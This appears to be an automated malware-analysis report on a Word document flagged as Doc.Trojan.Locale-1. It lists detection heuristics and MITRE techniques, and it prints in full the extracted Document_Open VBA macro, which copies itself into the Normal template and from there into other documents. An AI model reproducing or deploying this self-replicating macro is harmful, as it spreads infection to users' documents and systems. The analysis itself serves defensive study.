MALICIOUS
228
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
The sample is an OLE document containing VBA macros, flagged by ClamAV as Doc.Trojan.Locale-1. The Document_Open macro appears to be designed to copy itself and potentially execute further malicious code, likely by appending a payload as indicated by the OLE_APPENDED_PAYLOAD heuristic. The document body's content about a court case and project deadlines is a lure to engage the user.
Heuristics 5
-
ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Locale-1
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 131,072 bytes but its declared streams total only 24,820 bytes — 106,252 bytes (81%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOADOLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Set newDocument = Documents(1) nextRoutine = "Document_Open" Set prevDocument = ActiveDocument Set nextDocument = NormalTemplate With nextDocument.VBProject.VBComponents For i = 1 To .Count …
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1575 bytes |
SHA-256: 8d22881a2ac373b5e3d86d117fae1ab27791a6f8745f1f8369c2b5f5694c8b7e |
|||
|
Detection
ClamAV:
Doc.Trojan.Locale-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set newDocument = Documents(1)
nextRoutine = "Document_Open"
Set prevDocument = ActiveDocument
Set nextDocument = NormalTemplate
With nextDocument.VBProject.VBComponents
For i = 1 To .Count
If .Item(i).Type = 100 Then
With .Item(i).CodeModule
If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
With prevDocument.VBProject.VBComponents.Item(1).CodeModule
codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
End With
End If
.AddFromString codeString
.ReplaceLine 1, "Private Sub " + nextRoutine + "()"
If prevDocument Is NormalTemplate Then
.ReplaceLine 5, " Set prevDocument = ActiveDocument"
.ReplaceLine 6, " Set nextDocument = NormalTemplate"
Else
.ReplaceLine 5, " Set prevDocument = NormalTemplate"
.ReplaceLine 6, " Set nextDocument = newDocument"
End If
End With
End If
Next
End With
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.